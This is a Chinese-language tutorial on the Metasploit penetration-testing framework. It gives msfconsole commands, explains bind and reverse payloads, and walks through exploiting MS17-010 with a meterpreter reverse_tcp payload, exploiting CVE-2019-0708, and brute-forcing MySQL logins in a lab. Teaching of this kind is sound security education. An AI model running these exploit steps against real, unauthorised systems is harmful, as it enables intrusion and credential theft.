一、metasploit简介

Metasploit 是一款开源的渗透测试框架平台,可以用来信息收集、漏洞探测、漏洞利用等 渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的 Metasploit 是采用 Perl 语言编写的,但是再后来的新版中,改成了用 Ruby 语言编写的了,这使得使用者能够根 据需要对模块进行适当修改,甚至是调用自己写的测试模块。到目前为止,msf 已经内置了数 千个已披露的漏洞相关的模块和渗透测试工具,选定需要使用的攻击模块之后,你只需要使用 简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。
msfconsloe:
什么是 MSFconsole?该 msfconsole 可能是最常用的接口使用 Metasploit 框架(MSF)。 它提供了一个“一体化”集中控制台,并允许您高效访问 MSF 中可用的所有选项。MSFconsole 一开始似乎很吓人,但一旦学习了命令的语法,您将学会体会利用此接口的强大功能。
·启动 MSFconsole MSFconsole 通 过 从 命 令 行 简 单 运 行 msfconsole 启动。 MSFconsole 位于
/usr/share/metasploit-framework/msfconsole 目录中。
1.直接启动 root@kali:~# msfconsole
2.通过-q 选项通过在安静模式下启动 msfconsole 来删除启动横幅。 root@kali:~# msfconsole –q
·如何使用命令提示符? 可以将-h 传递给 msfconsole 以查看可用的其他使用选项
用法:msfconsole [选项]
通用选项
-E, --environment ENVIRONMENT 如果已设置,将使用 RAIL_ENV 环境变量。如果两个选项都不是 RAILS_ENV 环境变量,则默认为生产。
数据库选项 -M,–migration-path DIRECTORY 指定包含其他数据库迁移的目录
-n,–no-database 禁用数据库支持
-y,–yaml PATH 指定一个包含数据库设置的 YAML 文件
框架选项
-c FILE 加载指定的配置文件
-v,–version 显示版本
模块选项
–defer-module-loads 延迟模块加载,除非明确询问。
-m,–module-path DIRECTORY 附加模块路径
控制台选项 -a,–ask 在退出 Metasploit 之前询问或接受“exit-y”
-H,–history-file FILE 将命令历史保存到指定的文件
-L,–real-readline 使用系统 Readline 库而不是 RbReadline
-o,–output 将文件输出到指定的文件
-p,–plugin PLUGIN 在启动时加载插件
-q,–quiet 不要在启动时打印横幅
-r,–resource FILE 执行指定的资源文件
( - 用于 stdin)
-x,–execute-command COMMAND 执行指定的字符串作为控制台命令(使用;用于 multiples)
-h,–help 显示此消息 一旦在 msf 命令提示符下输入 help 或?将显示可用命令的列表以及它们用于的内容的描述。
·msf > help 核心命令
? 帮助菜单
banner 显示一个真棒 metasploit 横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep 另一个命令的输出
help 帮助菜单
history 显示命令历史
irb 进入 irb 脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量 unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号 模块命令 advanced 显示一个或多个模块的高级选项
back 从当前上下文返回 edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块 pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
工作命令
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死一个工作
rename_job 重命名作业 资源脚本命令
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令 数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行 nmap 并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭证后端命令
creds 列出数据库中的所有凭据
metasploit 包含了多个模块,每个模块下都有很多相应的脚本,这些脚本在使用的时候可 以通过 search 命令来进行模糊搜索,如果需要全局的看和学习,也可以到 metasploit 下的 module 文件夹下查看。

 root@kali:/usr/share/metasploit-framework/modules# ls auxiliary  encoders  exploits  nops  payloads  post

metasploit 的 auxitiary 模块也就是辅助模块,可用来进行主机发现、端口扫描、服务发现、 服务检测等。

使用 use 后就会进入相应的脚本,命令 show options 用来展示脚本使用时的一些必要的参数,同 时也给出了参数的说明,例如 tcp 的端口扫描脚本,ports 用来设置端口,rhosts 用来设置目标 ip, threads 用来设置线程等,参数的设置用 set 命令

payload:
·什么是 payload? payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以 进行程序注入等。也有人把 payloads 称 为 shellcode。

·payload 有几种类型:
1、singles:独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp 这 个 payload。
2、stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷 配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为 bind 型和 reverse 型,bind 型是需要攻击机主动连接目标端口的;而 reverse 型是目标机会反连接攻击机,需要提前设定好连接攻击机的 ip 地址和端口号。
3、stages:传输体载荷,如 shell,meterpreter 等。在 stagers 建立好稳定的连接后, 攻击机将 stages 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stages。比如得 到目标机的 shell,或者 meterpreter 控制程序运行。这样攻击机可以在本端输入相应命令控 制目标机。
正向连接使用场景:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动 连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机 上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了 80 端口。那么,我们就只能设 置正向连接 80 端口了,这里很有可能失败,因为 80 端口上的流量太多了
反向连接使用场景:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主 动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击 机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的 流量。
反向连接 80 和 443 端口使用场景:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防 火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80 端口或 443 端口与外部通信

二、经典案例-基于ms17-010漏洞的利用操作

使用方法:
1.进入msfconsole框架
在这里插入图片描述
2.使用 search 命令查找相关漏洞: search ms17-010
在这里插入图片描述
3.使用 use 进入模块: use exploit/windows/smb/ms17_010_eternalblue
在这里插入图片描述
4.使用 info 查看模块信息: info
在这里插入图片描述
5. 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
在这里插入图片描述6.查看模块需要配置的参数:show options
在这里插入图片描述
7.设置参数:set RHOST 192.168.125.138 (此ip地址为目标机地址,端口可以默认也可以自己设置)
在这里插入图片描述8.设置监听地址lhost(即攻击机地址)
在这里插入图片描述
9.攻击:exploit / run (攻击成功拿到目标机权限,输入?可以查看命令帮助)
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

三、CVE-2019-0708复现

漏洞原理:CVE-2019-0708
利用场景 未经身份验证的攻击者可以通过发送特殊构造的数据包触发漏洞,可能导致远程无需用户验证控制系统。目标机开启3389端口,允许任意主机远程登录。

注:由于漏洞为新出的,所以现在网上有的payload有点假,很大几率直接蓝屏。
开搞~
1.进入msfconsole 搜索漏洞(由于我的攻击机新安装的,所以有这个漏洞的payload,有些同学版本老,就需要自己网上下载再导入payload路径下了~~或者直接更新metasploit)
在这里插入图片描述
2.选择攻击的模块

在这里插入图片描述
3.设置目标机ip地址
在这里插入图片描述4.设置攻击载荷
在这里插入图片描述
5.设置监听地址lhost
在这里插入图片描述
6.设置target,开始攻击
在这里插入图片描述在这里插入图片描述

四、渗透攻击mysql数据库服务器获取账户密码

1.启动msfconsole
在这里插入图片描述
2.扫描所有有效mysql模块
在这里插入图片描述
3.这里使用 MySQL 扫描模块。
在这里插入图片描述
4.显示模块的有效选项。
在这里插入图片描述
5.为渗透攻击指定目标系统、用户文件和密码文件的位置。设置线程
在这里插入图片描述
6.开始爆破
在这里插入图片描述成功获取用户和密码(注意这里爆破字典的选择很重要,也有可能爆不出来,要看字典里有没有)
在这里插入图片描述成功进入目标数据库
在这里插入图片描述

注:仅供学习参考,切勿恶意用途!

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐